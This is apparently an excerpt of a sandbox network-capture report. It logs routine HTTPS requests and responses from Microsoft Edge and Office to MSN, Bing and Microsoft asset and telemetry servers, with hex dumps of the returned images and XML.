'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49921	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=421712 Expires: Sat, 30 Nov 2024 01:55:26 GMT Date: Mon, 25 Nov 2024 04:46:54 GMT Connection: close
2024-11-25 04:46:54 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49926	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=307611 Expires: Thu, 28 Nov 2024 18:13:45 GMT Date: Mon, 25 Nov 2024 04:46:54 GMT Connection: close
2024-11-25 04:46:54 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49922	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=117676 Expires: Tue, 26 Nov 2024 13:28:10 GMT Date: Mon, 25 Nov 2024 04:46:54 GMT Connection: close
2024-11-25 04:46:54 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49923	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=404977 Expires: Fri, 29 Nov 2024 21:16:31 GMT Date: Mon, 25 Nov 2024 04:46:54 GMT Connection: close
2024-11-25 04:46:54 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:54 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044654Z-178bfbc474bv7whqhC1NYC1fg400000006y000000000c4yw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49927	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:55 UTC	884	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8EmjhgaQN_3yGIVB2BzCR1DVUCUxBSFS6pnRVdMjzaZhjutNyiKmn2y0Xpy4vRteegtNnhgWbsdTBwyTqPqLaWueC7jOQSdNifEZH6l-mseXq_4I-12iyczjNd2pVWTDiakaO-ZCge5TzSLhg_Na4rFMqpGu1hkmeb4mZqQnSe3bCWk5S%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmZyZWUtb2ZmaWNlLW9ubGluZS1mb3ItdGhlLXdlYiUzZm9jaWQlM2RjbW01enF4NmxxMA%26rlid%3D6349388a3f1a17c2cfc95fce3e012b0d&TIME=20241125T044646Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=1CB5F00CB9A36D683AD1E54EB88A6C62; _EDGE_S=SID=0F34CA01AA06600901F6DF43AB1E6161; MR=0
2024-11-25 04:46:55 UTC	765	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=rBz9GVzArHCaN09cMSat4wozzwzm9aiZKfw_ys1OKxs; domain=.bing.com; expires=Sat, 20-Dec-2025 04:46:55 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E0B35A1B54BB4E4B9D0A5C641AD8496C Ref B: EWR311000106033 Ref C: 2024-11-25T04:46:55Z Date: Mon, 25 Nov 2024 04:46:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49928	18.164.116.39	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:55 UTC	1012	OUT	GET /b2?rn=1732510010756&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3C5B860E698662B2092E934C680C6309&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1BEe5b4e5edcb9abd44dec51732510013; XID=1BEe5b4e5edcb9abd44dec51732510013
2024-11-25 04:46:55 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 25 Nov 2024 04:46:55 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 5a588475f9a075d76c33229107634f8e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: rRQRlg3E05bcfgcePgdT1C6Rb89j8FVCbcbA_syZ0ejhHPrkmMOibQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49930	13.107.246.40	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:55 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:56 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:56 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b62109b6-801e-005f-09e3-3e9af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044656Z-178bfbc474bbcwv4hC1NYCypys00000006wg0000000040gx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:56 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49931	23.101.168.44	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:55 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3C5B860E698662B2092E934C680C6309&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=9876dd332aa144ea92f9612fee5e77a8 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1
2024-11-25 04:46:56 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2733 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132810-T700344087-C128000000002115409+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115409+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:55 GMT Connection: close
2024-11-25 04:46:56 UTC	2733	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4d 6f 72 61 63 61 20 52 69 76 65 72 2c 20 4d 6f 6e 74 65 6e 65 67 72 6f 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4d 6f 72 61 25 43 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Moraca River, Montenegro\",\"cta\":\"https:\/\/www.bing.com\/search?q=Mora%C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49929	13.107.246.40	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:55 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:56 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:56 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: ed62951d-801e-0076-63f5-3eecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044656Z-15b8b599d882hxlwhC1TEBfa5w00000005ag00000000bpyz Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 04:46:56 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:56 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:56 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 18f8ca6a-701e-005c-1e55-3dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044656Z-174c587ffdfdwxdvhC1TEB1c4n00000005c000000000c13a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
